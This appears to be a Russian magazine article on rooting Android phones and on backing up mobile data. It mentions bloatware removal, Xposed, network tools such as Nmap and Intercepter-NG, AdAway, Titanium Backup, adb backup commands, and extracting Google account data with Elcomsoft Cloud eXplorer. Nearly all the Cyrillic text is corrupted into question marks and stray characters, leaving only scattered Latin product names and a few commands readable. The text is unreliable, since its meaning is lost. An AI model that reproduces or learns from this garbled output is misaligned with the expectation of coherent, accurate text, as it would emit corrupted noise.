??????????????????? ?????, ??????? ????? ??а????? ?????? ???? ?а????? ??????
????????. ???? ????? ???????? ???????
?????? ????? ??????????? ??? ??а????,
???а?? ???? ??????. ???????, ??, ??????
?????, ??? ???????? ????????? ????????
?????, ?????????, ??? ?? ??а?????, ????
??а????? ??????.
????? ?? Duo ????? ??а??????? ??аAllo
?а???а???? ????????? ??????? Hangouts.
????? ???????? ?а?????????????? ???????, ??а????????? ??аGoogle Play ???
????. ??? Google ????? ?????????? ????????????? ??а??????? ??аDuo, ????? ??
?????????. ???а?????????? ????????,
???????? ???????????? ??а??????????
???? ???.
GBOARD
?а??? ??? ??? ?????? ???????? ???????.
?????????? ??а?????????? ???????
Google. ??????????? ???аiOS. ?? ????? ???????????, ??????? ?????? ???аAndroid,
??а???? ?????. ?а????? ?????? ?????????? ???????? ????????????: ??????а?
???????? ??????, ??????а? ?????, ?а??????а? ?а?????????? ??????. ???а????
???? ?????????? ???????? ??????? ?а???????????? ????? ?????? swype, ???????
??????-?? ??? ?????. ?? ?а??????? ??????, ?а?????-??, ????????????? ???????
?а?????? ?????????.
Gboard
?????????:
iOS 9.0+
????:
?????????
10
MOBILE
??????
????????
????? ROOT
Androidа? ????? ??????????????? ?????????
??а??????? ??????. ??????????? ?????????
?????????? ????? ????? ??????, ?а????
??а????????? ?????? ???? ?а???????????????? ???????????, ??? ??? ????? ??а???????????? ???? ?а?????? ?????. ??а???????? ??????? ????а? ??????? ??????, ??а??????????
л????????╗а? ??????, ??а??????? ??????????? ?????? ???а??????? ??????????,
???а?аUbuntu Touch,а? ?а??????? ????? ?????????? ?а????? ?????????????????. ????? ??
????? ???????? root? ???? ??????? ?а???а????
???????? ???????????? ?а??????????.
??????? ??????
androidstreet.net
BLOATWARE
??????????? ??? ?????????? ??а????
1
Android ???????????? ?а???????? ??????????? ????????????????? ??????????. ???, ?а????????? HTC ?а?????????
/system/app ?а/system/priv-app ????????? ????? 400 ???????, ?а??? ??а?????? ???????? ?????? ?а?????????? ???????? ?????
????????, ??а?а?????????? Google, ???????
???????, ????? ???????? ?а????????????????? Google Play Market ????? ????????
?а????????? ???????? ?????? ??????????
???????? (Gmail, Google Drive, Google Keep
?а??????).
???а??????????? ?????? ?????????? ?????? ??? ????? ?????????? ??а??????? ????????? ?????????, ?????? ?????? ??а????
?????????? ??а?????? ??????????? ?ал???????? ?????╗ ?а????? ?????????, ?а????????
???а???????? ???????, ????? ?????? ?????????? ?а??????? AlarmManager (??????, ?????????? ??????????, ????????) ?а??????????? ?а????? ??а????????? ??????? (??
????????? ????????? ??????, ?а??????????
?????? ??????????
??? ????? ??????????? ???а??????). ??? ???
System app remover
??????, ????? ??????? ?а????????? ??????????.
???? ????? root, ??????? л?????╗ ????? ??????. ???а????? ???? ?????????
??????????, ??????? ????? ????? ?а??????? ??а??????? лsystem app remover╗.
????????, ???????, ???????????, ????? ?????????? ????? ???????, ?а?????
????? ????????, ??а??? ?????????? ????? ????? ??а???????, ?а??? ????? ?????????????.
????????? ???????
2
???а???? ????????????? ?а????????????? ????????? ??????????, Android
??а????????? ?? ????????? ???? ???????
??????, ?????????? ???????????? ???????????. ????????, ??????????? ??????
Android ??? ??а???? ????????? ??????????? ?????????? ???????? ?а????? ??????
??? ???????? GPS-??????, ??? ??? ???????,
??????? ??? ??????, ?????? ??????? root.
????? ?????? ????????, ??? Android
??а???????? ?????????? ????? ????? ?а?????????????? ????????? ?а?? ??? ?????
??а???? ?????? ?????? ?а????????? ??? ????????? HAL, ?????????????? ?????????
????? Android ?а????????? ????????????. ????? ??? ????? ?????? ????? ???????
??????? ?а??????? ?????? ???????????
??????? ???????????? ???????????. ??????? ??? ???????.
? CF.lumenа? ?????????? ????????????
????? ?????????????? ?а???????? ?а????????? ?????? ????????????? ?????? ?а??????????? ??а??????? ?????. ??????? ?????
????????? Recently
????? ????? ????? ?????? ??????? (???????
?????????), ?а???? ???????????, ????????.
???а?????????, ????? ?????? ?????? ???а?????? ???а???????? ?????????, ?а????????? ????? ?????????? ??????????, ????????? ??а???????? ?????????,
??а??????????????????. ??а????, ??? ?????? ?????????? f.flux ???а????? ?аiOS
(? ?а????????? ??????? Android), RedShift ???аWindows ?аLinux ?а??????? Night
Shift ?аiOS 9.3.
? Recently ???????? ????????? ?????? л?????????? ??????????╗ ?аAndroid
5.0+, ?а?????? ?????????? ?? ?а????????? ?????????? ?????? Android. ?????
????????? ?????????? ?????? ????? ?????????? ?????? ??????? ??????????
??????????, ?а??а???, ??? ?? ???????? ??а????????? ??????.
? Naptimeа? ?????????? ???а??????? ?????? ???????????????? Doze
?аAndroid 6.0. ????????? ??????? (??? ????????) ????-???, ??а????????? ???????? ???????? ?????? ?а????? ???????????? ???????????????? (?? ????????? ?????? ?????? ????????? ?а??????????? ???). ????????? ????? ?а??????
л??????? ??????? ?????????!╗.
????? ??????????? ???????
3
???а??????? ?????????? ?а?????? ?а??????? ???????????? ???? ????? ?????
???а?????????? ?????????, ?а???????? ?????? ???? ?????????? ??????????. ??? ?????
???? ?????? ??????????, ??????????? ?????????? ?а???? ????????? ???????? ?а??????. ???? ???? ?????????? ??а??????? ?????
??????, ?? ????????????? ?????????? ?????? ??а????? ??????? ???? ?? ??????? ??????? л?????????? ???????????? ?а?????
???????????╗ ?а???-?????? ???????.
???????, ?????? ????? ??????? APK-????? ?а??????????? ???а?????? ?????? ??а???-???????? (????????, APK
Downloader), ??а?????? ??а????????? ??а???????????????? ?????????? ????? ????
????? ?а?а???? ??????????. ????? ????,
???? ???? ???? ??а????, ??? ???? ?????
??а??????????? ?????, ????????? л?????????????╗ 3D-??????????, ???? ??????????,
??а?????????? ????????????? ????? ????????? ???????. ???????? ??? ???? ???????? ????? ?а??????? ???????????? ?????
Market Helper
?а?????????? ???? root.
? Market Helper ????????? ???????? ?????? ?????????? ?а??? ??? (????????, ???????, TV), ??????? ????? ??????, ????????? ?а??????? ???????. ?а???????????
??????? ????? ??????????? ??????????, ????? ?????????? ?????? ??????????
??а???????.
? GLTools ????????? ??????????? ???????? ?????????? ?а?????? ???????????? ??????????, ??????? ???????????. ?а???????? ?????????????? ???????а? ????? ?????? ??????????, ????????/????????? ???????????, ??????????? ????????, ?????? ??????? ?а?????? ????????? ???а?????????
?????????????????? ??? ??????? ??????? ?а??????????????.
???????
4
???аroot ???? ?????? ??? ???? ??????
???????????? ??????? ??а?????????: ?????????? ???????, ??????? ??
????????, ???? ??????????????? Adblock+
???аAndroid ?а??? ???????? ??????. ?????? ??????, ????????, ???? ???, ??? ???????? ?????? ?а????????, ????? ???а????????
???????????? ??????? ???????? ?а????.
???????? ??????? ???????а? ?а????????
?????? Adblock+: ?? ???????????? ????????????? ?????????? VPN-???????, ?а???????
?????????? ???? ???????? ??????. ?а?????????, ??? ?????? ??а????????? ???????,
????? ?????????? ?а??????? ??????????,
?? ?????? ?а?????? ?????????.
??а???? ?а???? ???? root, ???????? ???????? ????? ??????, ?????? ??? ?а????????, ??а?????? ???? ???????. ??????????
?????????? AdAway, ?????? ?????? л???????? ?????? ?а?????????? ?????????? ???????╗ ?а???????????????. ?а?????????? ?а??????? ?????????? ??а??????? ?? ????????
?????????? ??????????? ???????, ???
???а?????, ????????? ???????, ?????? ??????????? ??а????? ?????? ?????? (????
???? ??????, ??? ?????? ???????????????? ??аlocalhost ?а??????? ????? /system/
etc/hosts).
AdAway
XPOSED
5
Xposedа? ??? ?????????, ??????????? ??????????? ???????????? ?а?????? ?????? ?????????? ??????? ??? ?????????? ?а???????? ??? ????????? (??? ??
???а??? ?????? ????????? MobileSubstrate
???аiOS). ???????? ???????а? Xposed ????????? ????????????? ?????, ??? ?? ???а???
????????? ?????? Cydia ?аiOS.
?????? ???аXposed ?????????? ?????,
????????? ??а??? ?????? ?????. ?а?? ??????? ????? ???????? ??????? ??? ???????
(????? GravityBox ?аAndroid Theme Engine),
????? ??????????? ???????? ??а?????????????? (Sense Toolbox, XTouchWiz), ?????????
??????????
?а?????????
????
(XHaloFloatingWindow), ???????? ????????? ????????? ???????? ???а??????? ?????????? (App Settings ????????? ??????
????, DPI, ?????????? ?????? ?а?????? ??????), ???????? ?????????? ??а?????? ?а???????? ??????? ?а?????????? (XPrivacy)
?а?????? ??????.
??????????? ?????? Xposed
X-TOOLS
6
????? ??? ??????????? ???а?????????
??????? ?а??????????? ??????? ??????
?а?????????????? ???????? ????, ?????
???а??????????? ????????? RAW-??????
?а???????????? ???????? ???????? ?а????? ???????????. Android ??а?????????
?????? ?а????? ???????? ????????? ???????????, ??а????? ???? rootа? ??????? ???.
????? ????????? root ??а?????????/
???????? ????? ???????????? ????????
?????????? ????????????? ????????????,
????? ???а??????? ?????? Nmap, ?????????????? ?а??????? ?а?????????? ?????????
(???????? Network Mapper), ??????
tcpdump (Shark for Root), ?????????? ?????????? ???а????????? ?а??????? ???????
Intercepter-NG ?а???? ???????????
Linux-??????????? Kali. ?а????????? ??????, ??????, ??????????? ???? ??а???????? ???? ???????? OnePlus One. ?а???,
???а??? ??????????, ????? ?а?????? л?????
??а?????????╗.
Intercepter-NG
??????? ????????
7
???? root, ??а????????? ????? ???????????? ???????, ??????? ?а?????
?????? ?????? ????????. ?????? ????????????? MultiROM Manager, ???????? ??????
Install, ??????????????? ?а???????? ????????, ??а??????? ????? ?????????? ???????
?????? ????????, ?????? ??а?????? Android,
??а?аUbuntu Touch, Sailfish OS ??? Firefox OS.
???, ??? ????????? ???а????? ???????,а?
??? ????? ?????? ???????? ???а?????? ????????, ???????? ?? ??а????? ??????, ??????????????? ?аrecovery (????????? ?а???????
??????? ?????????? ?????????) ?а???????
?? ????? ???? Advanced
MultiROM
Add ROM. ???а????????? ???????? ?????
???????? ???????? ?а??????????? ????.
?а?? ???? ????? ????? ???????? ???????
?а????????.
MultiROM Manager
?????? ??????? ??аGOOGLE
8
?а?????? ????????
????? ???? ??? ???????? ??????????
??аBloatware (??. ??????? ????? ????), root
????? ????????? ????????? ???????? ???????? ??а?????-???? ???????? ????????? ????????, ???? ?? Google ??? ??????? ??????
????????????? ??????????. ?а??????? ???
???? ???????????? ??????? ??????, ??????????? ???? ????, ??????? ??а???? ???????????, ????? ????, ??? ??????????????
???????? ?а???, ????? ?????????? ???????
??????? ??????????, ?а????? ???, ??????
????? ?????? ??а?????????? ???????, ??????????? ??????????? ?????????? ???
????????-?????????????.
1Mobile: ?????????
?????? ???аAndroid
?????
9
??????? ?а?????? 3.1 ?аAndroid ?????????? ?????????? ???????? ??????,
??????? ??а????????????, ??а???????????? ?????? ?????????????, ???, ????????,
Helium. ?????? ??? ??а???? ?? ????? ??????? ?а????????? ??????? ????? ?????? ????????? ?????????? ?а?? ????????, ??? ?????
?????? ??а??????? л?????? ????? ???????╗.
?????? ???? ?а??????????, ?????????
????????? ????????? ???, ??????? ??? ??????????, ?? ?????????, ????????? ?????
???????, ?а????? ????????? ????????? ????????? ???????, ?????, ????????, ???а????????? ??????????, ????? ??????? ??а?????
?????????, ??а???? ????????? ???????????? ??а??????????. ?????????? ????? ???
Titanium Backup, ?, ??????? ??, ??? ???????
????? root.
Titanium Backup
?????? ???????
10 ????????? ???????, ??а??????? ?????
???????? root,а? ??? ??? ??????????
??????????? ???????. ? ??а?????? ??? ?????? л??? ??????????╗ ?а??а???????? ???????? ??? ??????? ??а????????? ?????.
???? ?а???, ??? ??????????? ??а??????????
???????? ???????? ??????????????????
??????? ??а???????? ???????? ?????????
??????????? ????????????? ???????. ???,
??? ?? ?????????,а? ??? ???????? 1?2%.
?а?????? ???????, ??????????? ?????
?????? ??а?????????????????? ?????????
????????? ?????????? ?а?а?????????????
?????????, ????? ????? ??а???????? ??????
??????? ????? ???????????? ?а????? ??????? (????????, ???????? ???? ??????????
????? ???????? ????). ??а?а????? ???? ????
?????????? ?а????????, ??? ?? ???????.
???? ??а??? ??????????
л????????????? ???????╗
??????
???а??????, ?????? ???????? ????? root ???????? ??????????, ?, ? ??????, ??
????? ?а??? ??, ??? ???? ????????????? ??????????. ??, ????? root ????????
?а????????? ?????????, ????? ???а?????????? ???? ?????????? ????????????? ????????? ???????, ?а????? ??????????? (????????, ???????? ??аroot-?????????? ????????? ????????? ???????? ?????? ??а????????). ?????? ?????? ???? ?? ??????, ???, ???? ?? ??????? ???????? ????? root, ????? ??а??????
??????? ??? ?? ????? ??? ???????, ???????? ???????? ?????? ?а????? ?????.
MOBILE
BACKUPS
FORаFUN
ANDаPROFIT
??????????? ?а??????????? ??????
ANDROID ?а??????? ??а??? ??????
???? ??????,
??????? ?? ?????????
?????????????? ????????
?????????
aoleg@voicecallcentral.com
?а??????? ?????? ?? ??????????? ?????????-????????????? ?????????? ?????????? ??????????? ?????? ??а??????? ????????? Apple iOS. ?а???а??????? ????
??а?????? ??????????? ??????? ?? ?????? ???????? ??????????? iOSа? ????????? Google Android ?а???????,
???а????????? ?????? ?а????? ?а???, ????? ??????? ???????????? ?????? ??а????????? ????? ?а???а???????????
????? ????????? ??? ???????? ?????.
????? ??????????? ?а?????????????. ?а???? ?????? ?? ????? ?????? ????????????? ??? ?? ????????????? Android, ??????? ???????????? ?а?????????
Google. ????????? ???????? ??? ??а????? ?????????: ?????????? ?? ????????????? ??????????, ???а???? ????????? ?а??????????????? ????????? ?????
?????? ???а???????? ?????????? л???????╗ ??? ???????????? ??????? ?????.
???, ??????? ?? ????????? ??а????????? 99% ?????????????, ??????? ?????
??????? ???????, ?????? ????? ?а?????? ??а??????? ?????? ?а???????? ???-??
???????????????.
?????? ???????? ??а????????????, ?а???? ???????? ?? ???????????? ??????? ?????? ????????? ??аASUS, Google Nexus, LG, Motorola, Oppo ?аSony. ????????????? ???а?????????????? ?????? ??а?? ?? ?????????? ????? ??????
?а????????? ??????????, ??? ?а???????? ?????? ??а?????? ??????????.
???? ??а?????????????
????????????? ????????? ????? ????????? ????????? ??????? ???а?????????? ??????????? ??????. ????????? (????????, Sony) ?????????? ??????????
???? ??а?????????, ?????? (ASUS, LG) ?????????? ??????????????? ???????????????? ?а????????. Samsung ????????????? ??????????? ????????? ????????? ????? ?а??????????? ??????. ?????? ??????, ??????? ?а???????.
??????????? ?????????? Sony PC Companion
?????????? ??????? ??а?????????????? ??? ????. ??-??????, ???????????
????????? ????? ????? ?????????? ??????, ??? ????????? ?????????? ???????????? ?????? ????? ?????? ??????????, ?????????? ???????? ??? ????????.
??-??????, ???????????? ????? ??а???????? Sony ??а??????? ??аASUS (? ????????) ???? ??а???????: ??????????????? ????? ??? ?? ?????? ??а?????? ????
?? ?????????????.
?????, ????????? ????????? ??аASUS
???????, ???? ?? ?????????? ???????????? ??????????? ?????? ?????, ?????? ?? ?а??а??????? ????????? ?????? ??, ??? ??а?????? ??????, ?а??, ??? ?????
??а????????????????, ??а???? ???????????-?? ????. ?а???? ?а????? ?????????
???-?? ???????? ?а???? ?? ?????? ???????? ??? ??а?????????? ??а???? ?? ?????????????, ?? ????, ????? ????, ???? ??????? ???????????? ??а???? ??????.
???????????, ??????????, ???????: ????????????? ??????????? ???????? ?????????????? ?????? ??а?????????? ??? ?? ??????, ?а??????? ???? ??????????? ??????.
????????? ???????????: ?????? GOOGLE
?????????? ??? ??????????? Androidа? ??? ??????? ??????? ????????, ??????????, ??????????????, ?????????? ?а??????????? ????????????. ??????
??????? ???, ????? ????????? ?????, ????????? ?а???????? ?????? ?????????????, ??а????????????????? ?????? ????????? ??а?????????? ?????? ???????????. ????????, ??? ?а?????? ???????? ???????? ????, ?а????? ?????????
Google ????????????? ???????? ?????????? ???????????.
???? ??а??????? ?????????????? ?а?????? ?????? Android ?????????? ????????????? ?????????, ????????? ?а?????? ?????????? Google ?а???????, ??
??????????? ???????? ?????????? ??????????? ?????????? ?а???????? ???????? ?????? ?аAndroid 4.3. ?? ??? ???????? ???? ?а?????? ?????????? ?а?????? ????? Android Debug Bridge. ????? ???????, ???ал???????╗ ?????????????
??? ??а????????????.
?а?????-?? ?????? Google ?????? ???????????????? ????????? ??????
?а???????. ???а?????????????? ?????????? ???????????? ???????????? ?а?????? (??????, ?????????? ?а?????????) ?а?????? ??а?????????? ?????????. ???
????????????????, ?????? ??????, ??а???????? ?????? Android, ?а???????????
?а????????????? ???????? Google.
?аAndroid 6.0 ???????? ????????? ??????????? ???????? ??????????
????? ?????? ???????????? ???????. ?????? ???????????? ?????????? ?????????? ???????? ?аmanifest ?????????? ??????, ??????????? ?????????
??????????? ??????, ?а??????? ????? ????????????? ?????????? ?? ?а??????. ??????????, ?????? ??? ??аGoogle, ?а?????? ????????? ?а??????? ?????? Google Account, ??? ??? ???????????? AOSP-?????? ???а???????? Google
???????? ?а???????. ??? ?, ????? ?????????? ??? ????????? ?????????. ??????? ??????????, ?????? ?а???????? ???????????? ?а??????????? ?????????, ??????????????? ?аAndroid 6.0.
ANDROID 6.0: ?? ??????? ???!
??????? ?аAndroid 6.0 ??????? ????????????? ????????? ????????? ???????
?а?????????? ?аGoogle Drive ????????????. ????? ???????? ??????????? ????
????? ???????? ????????????? ????????? ????????? ??а??????, ??? ?????????
??????????, ???????? ?? ??????????? ??а?????? ??????????, ?а????????????? ???????? ?? ????????? ???а???? ???????. ????? ???а?аApple! ?а??? ??? ???
?а???????? ?а??????????????? ??????? Android M ??а?????? ??????.
?а?а??????????? ?????? Android 6.0 ???????????? ????? ??????? ?????????. ???? ?а??????????????? ??????? ?????????????? ????????? ???????????
???????? ???а???? ??????????, ?????? ??????? ??а????????????? ??? ??????????? ?а????? ???? (???? opt-out ?аmanifest), ?? ?а??????????? ?????? ??????? ????????? ????? ????????? ?????? ???а??????????, ?????? ??????? ?а????? ???? ??????????? ?????? (opt-in ????? manifest) ?а????????? ?????????
Android 6.0 (target API level 23).
???а?? ???????, ????? ?? ????????????? ??????????????? ???? ????????????? ?а????????????? ?????? Android 6.0 has a great auto backup system that no
one is using (yet) ?????????? Ars Technica ???????? ???????????, ????? ?????????? ??????????, ?а????? ??а?????????? ?????????? ?аAndroid 6.0 ????????
?????????? ???????????.
?????????? ?????????... ????????????. ?а?????? ??????? ?????????? ?????????? ?????????? ??????????? ?? ?????????? ?????????? Google.
??-??, ??????????? ???? ???????????? ??????? ????? ???????? ???а???.
????????????????? ??????? ????????? ???????, ??????????, л????? ?????╗,
??а?????? ?????????? Googleа? ???. ?а??? ??????? ?????????? ?????, ???????? ???????, ???? ?а?????? ?????????? ?????????? ??а?????? ????????? ?????????. ??????????, ???????? ????? ???????? ??а????????, ??а???? ??? ???.
????? ?????? ????????????? Nexus 6 ?а?????????????? ??а?????? ?????????
?????????:
????????????? ??? ??????????. ???а???? ??? ???? ??????????? ??аGoogle
? ?
Play, ?? ???? ????????????????? ?????? ????????? ??????;
? ?
????????????? ????? ????????: ????? ?????????? ??????????, ?????????
л?????? ??????╗, ??????????;
? ?? ?????????????? ??????? ??????? ?а???;
? ?? ?????????????? ????????? Facebook;
? ?
? ?????????????? ?????? ??????????? ?????????? (????????, gReader
Pro ???????? ??????????? ??????).
????? ???????, ??????? ?????????? ??? ????? ????????????? ??????????,
??а??а???????????? ?????? ???????????? ??????????? ??а???. ???????, ???????? ?аemail ???????????? ??а??????, ?????? ?а???????????а? ????. ?а????????? ?????? ???? ???????? ??????????а? ??? ??а?????????. ????? ???????? ?а?????? Android Backup Service ????? ????????? ?а??????? Google.
????? ?? ??????? ?????? ??а???????
???? Google ????? ????????? ?????? ?а??????, ?? ?? ????? ?? ???????,
??а?????? ??? ????? ?????????, ??? ????? ???????.
??-??????, ????? ??? ??, ???а?а?а????????? ?а?????????? ?????? ???????
?????????? ?????? ??аiCloud, ????? ????? ?а?????? ???????????? ?а??????? ?????? Google. ??? ??а???; ???? ???????? ????????????? ?????????????? (? ??
?????????? ??? ????), ??????????? ?а??????????? ???, ??????? ????? ?????????????? ??????????? Google Authenticator, Microsoft Authenticator, FreeOTP
??? ????? ??а????????? ????????? (???????? ??? ??а??????? ????????,
?а??????????? ?????? ????????????????? ??? ?????????????, ??????? ???????? ???????????? ?а???? ???????? QR-????).
??? ??? ??????????? ??????????????? ???? (????? ???????? ?а???а????а?
??а???? ????). ?а???????? ????? ?? ???????????? Elcomsoft Cloud eXplorer.
????????? ??????????, ???????????? ?а??????? ?????? Google, ????????
?????? ???а??????????:
???????? ????????????:
?????????? ??????????, ??????? ???????? Google, ?????? ??????, ????????. ??, ?????????? ?? ?????, ??? ??а???? ??????. ?????, ??? ????????? ??????????? ?????? ?????????, ??????? ?? ????????, ?????? ???????? ?а???????? (??????????, ???а?????? ?? ????????а? ?????????????!). ???? ?????,
??????????? ?????? ????????? ??????, ???????????? л?????????? ?????╗
(?? ??? ?????, ??? ?????? ?а????????? ?????? ???????? ??????? ??????а?
??а?????? ?????):
???????? ?????? ?????????, ????????????? ??а??? ?????????? ?а??????????
?????? ??????????:
???????, ???? ?????? ?а??????????? (??????, iCloud!):
???а?????? ?? ???????? ??????????? ???????????? ??????? ???????????:
??????? ???????????????! ?а??? ?? ?? ????? ?а????????? ????:
?а?????, ?????? ????? ????? ???????????. ???? ??????, ?а??????? ??????
Google ????? ????? ??????? ?????? ?????, ??? ?????-???? ???????????? ????????? ??????? ??аApple.
?????? ?а????? ??????? ??????????? ??? ??? ??????? ?а??? ???, ???????,
????? ??????????. л?????????? ?????╗ ?????????????? ???????? ???????????? ?????????????? ??????????. ?? ?????? ?????? ??????????? ???
??????? ??? ??????????, ??????? ?????????? ??????? ?а????. ?? ??????
??????? ????? ??????, ?а???а????? ??а????????? ?????????? ???? ??????? ??????. ???????, ?? ?????? ????????? ???? ????????? ????? ?????? (????????,
????????? ???? ??????? ????? ???????, ??? ?????????? ?а????? ?????????????? ??а????? ?????????? ?аGoogle).
??? ?? ?а???? ????????? ?????????? ??? ?????, ???????? ???????? ?? ?????? ??????? ??? ??????????, ????????? ?а???? Google. ??????????? ??????
??????? ???а? ????? ?????? Google Takeout. ????? ????? ???????, ????? ????
?????? ?? ????? ???????:
????????? ?????? ????? ?????????? ?а???? ?а????????????? ?а???? ??????:
???а??????, ?????? ????????. ?а??? ??????? ????? ????? Elcomsoft Cloud
eXplorer? ??а????? ?? ??????? ?????? ??????????????? ??аGoogle Takeout?
??????? ???а????????, ?а?????-??, ???. ?а?????? ??????? ?????. ????????? ???????? ????????? ?а???????? ?????????? ??????????. ???а????????
?а???????? ?????? Google ?????????? ????? ????????????? ???????? (? ????????а? ????????). ?а???????, ?????? ?а????? ???????????? ?? ????????
?а???? ????? ?а??????? JSONа? ????? ?а??? ??? ??????, Google ???? ??а????????. ??а???????? ?? ?а???????????: ???????? ??????????? ???????
????????, Google ??????????? ?????? ?а???????? ?????? ?а???????? ????
?а?а??????????? ???????... ??? ?а???? ????? ?????? ??????а? ??а????????
??????? ??а?????? ????????. ?а??? ??? ???? ?????? ?????????? ??????????? Google ???????, ???????? ?а??????????.
??? ???? ??????. ???а?????????? ????? ?????? Google Takeout ???????????? ??????????? ?????? ???????????: ?????-?? ?????? ???? ??????? ?а??????-?? IP. ???? ???? ??? ??а?????, ????????? ?а????????? ????????????: ??
????????????? ??а???????? ?аGoogle ???????. ?а??а???????а? ????? ??????????. Google Takeout ??а?????-?? ??????? ??а???? ??????? ??????????????????
?аChrome ??????. ?аElcomsoft Cloud eXplorer ????????? ?? ???а?????? ???????:
?????? ???, Google ????????????? ?????? ?а?а???? ??????????. ???, ???
???а????? ?????,а? ???????? ?????? ?а?????????????????? ?????? ???????? Chrome, ????? ???? ??? ????????? ?а???? XML-?????. ???-?????????
???а????????? ?????????????????? ??????? ???????? ?????.
??????????? ??????
MOBILE
BACKUPS
FORаFUN
?????? ??????
ANDаPROFIT
??????????? ?а??????????? ??????
ANDROID ?а??????? ??а??? ??????
????????? ??????????? ????? ADB
??????? ?аAndroid 4.3 ?а??????? ???????? ??????? ?????? ???????? ????????? ????? ????? ????????? Android Debug Bridge (ADB). ???а???????? ????????? ????? ????? ???????????? ???????? ????? ???????:
adb backup -apk -shared -system -all -f C:\backup.ab
?????? л????????╗? ?? ?а???? ??? ???? ?? л????????╗ ?????????. ?? ?????????????? ??????? ?????????? ????????? ??а?????? ??????????????, ?????????? ??? ??????????? ?????? ?????? Android ??а4.4 ??а6.0.1 ????????????.
??а?????-?? ??????????? ??????? ????????? ?а????? ????, ??а?????? ????????
?????? -system ??? -shared ????????? ?а???????? ??????? ?????, ?а?????? ???????????? ???????????? ???? -all. ?????-???? ?????? ?а????????? ???????
adb ?? ??????? ??а??????; ????? ??????? ????? ????: ??а?????? Android ?? ????????? ??????? ????. ?????? ??????????? ????? ??а????????, ???????? ?????????? ??????????????.
????????, ??а???????????? Nexus 6 ??? ??????????? Android 6.0.1 ?????? ????????? ???????:
adb backup -all -f c:\nexus6.ab
?а??? ????? -noapk л???????╗ ?????: ??? ?????? ?????? ????. ?а??? adb
backup ????? ??а????????, ???? ???????? ?????????? ??????? ??????. ????????, ??? ?????????? ?????????? ??а????????? ??а??????????? ???????
Nexus, ?а????? (?? ?????????? Google) ??а???? ???????????, ??????? ???????
?а????????????????? Android 6 ?а???????? 64-?????????? ????????????.
??? ???? ??????. Adb backup ????????????? ????? ???????, ????? ????????? ?????, ????????? ??а????? ??????????, ????? ???? ???а???????
???????????? ??а??????. ?а???????? ????? ????? ????? ??ал????????????╗,
?ал??? ???????╗: ??????????????? ?????????? ?????? ???????? ?а??а??????
???????. ??????????????, ??????????? ?а????????????????? ?????? ?? ??????
?а?????????, ??????? ????? ??а???????? ?????????? ?????? ???? ?????, ?????
?????? ??????????? ?а32-??????? ????????? ?а???????? MediaTek ??а64-????????? ??????? ?аIntel Atom.
???????????? ?????? ??а????????? ????? ????? ???????? ?а??????? ??????? adb restore.
??? ?? ???????? ?а????? ????????? ?????? ?а????? ????? ??????? ??а????????????? ??????????. ?а???????, ?а?????????? Sony ????????, ?????? ???????
?а???а?а????????? ????? ADB ??а????????, ?а???????? Samsung ??? ??????
?????????. ?? ?? ????? ????????? ?а?????????? ?????????? (??????? ????????
????????? ???а??????????? ?????????????) ?а?????? ????????? ??????????.
?а????????? ????? ????? ???????? ?????? ????????????? ??????????. ??????????? ?а??????????? APK-????? (???? ?? ????? ???????? ????? ???? ??????? ??????????????? ?????). ?а??? ?????? ?????????? ????? ???????????,
?а????? ?а???: ??????? ??? ??а?????????????, ??????? ????????? ??? ??а????????? ????????? ??????????? ?аmanifest-????? ??????????.
?а???????????? ????? ?????? ??? ??а??????? ??????? ??????? ??????
??а????? ????????? ?????. ???а?????????????? ????? adb restore ??? ?????
?????????? ?????????????? ?аGmail, Facebook ?а?????? ???????? ????? ?а?????????? ?????. ??а??????????? ????????? FBReader ?аNova Launcher (? ????????, ?а?????, ???? ??????????? ???????? ???????? ????????? ?????). ?а??? ???????????? ?а?????? ?????????????, ??? ??а????????? ????????? ???????
???????????? ?????? ??????? ?а????? ???.
?????????? ?аAndroid ?????????? ?????????? ??????????? ?????????? ?а????????? ????????? ??????????. ?? ????? ?????, ??? ??? ????????????? ??? ?? ??а?????.
??????? ?????? ???? ???????? ????????
????, ?а??????????? ??? ?????? ???????????? ?????????????. ????? ?????????? ????????? ?????? ????а? Helium AppSync and
Backup ??а????????? ??????? ?????????????
ClockworkMod (????????? ???????? CWMа?
?? ??????????).
??? ???????
????????? ?????, ??????????? ?????
ADB,а? ???? ?????????? ???????. ??а??????а? ?????, ?????????? ?????? ??????????
(? ??????????? ??а????????а? ?а??????????
.apk). ??? ??????????? ?а??? ????, ?а??????? ?? ?????? ???? ??????????. ???а???????, ?????????? ?????????? ?????? SQLite,
????а? XML, ??? ????а? ???????? ??????
?а??????????? ???????.
????????? Helium
???а??????? SQLite ????????? ???????
????????????, ??? ???а?????? ???????? ?????? ????????????? ?? ????????? ??????. ????? ????, ??? ?а??????? ?????
???????????? ????? ???????? ????????? ??????. ??????? ??????????. ????
???? ??????? ?а????????????? ?????? ???????? ???????? ?????????? ??????
??????? ?а???, ?? ?? ??????? ???????????? ????????? ?а??????, ???????
???? ??????? ?????????????.
????????? RECOVERY ?а?????? NANDROID
??????????? ?а??????? ?????????? ??????????? Android, ?????? ??а?????????
????? ???????, ???а????????? ????? Nandroid. ?????? ??????????? ??а????
NAND (??? ????-??????) ?аAndroid, ?а???????????? ???? ????? ?а?????????
???????? ????? ????? ????????????????? (?, ????????, ??????????) ??????? ??????? ?а?????????????? ?????????? ???????? (???? ????? CWM ???
TWRP). ????????????? ????????? ????? Nandroid ??????????. ?? ????????????? ??????????????? ??а?? ?? ??????????, ?а???????? ??? ???? ???????, ?а?????????? ??а?? ?? ????????.
??? ???????
????????? ????? Nandroidа? ????? ?????????? ???????????. ?а??????? ???????? ???? ?????? ????. ????? ????, ??????? ????? ?????????? ?а???????????
??а?????????? (???????: ????????? ????????а? ???, ??а????, ????????? ???????????? ??????? ??а?????? ????????????? ???а?????? ??????????????
??????).
??? ?? ?? ????????? ???? ????? ??а??????а? ????? ???????? ???????
(????? ?а???????????? ???????? ????????, ??????? ???? ???????????? ??а?????????? ??????????). ?????? ???????: ????????? ????? (??????????? ???????
??????????????? ???????? ???????) ?а?????? ??а???????? ???????.
?а????????? ??????? ??? ?????? ????? ZIP-??????? ?а??????? ??????????. ??? ???? ??? ??????: ??????? ?а????? ?а???????; ?????? ?????? ????? ??,
???а?а?????? ?аadb backup, ??а??? ????? ?????? ??????? ??????. ?????? ????????? ????-???????????? ????? ?а??????? ?????? ??????. ??? ??????????
???а??????? .zip, ??? ?а.tar.gz (?????????? ????? ??а?????????).
????? ??????????? ??????? Nandroid ?а???, ??? ??а???? ???????????????? ???? ????????? ???????? (? ?? ??????????? ??????? ?????????) ??а??????? ?????? ????? ??????? ?а???????. ??? л??????╗ ??????? ?? ????????
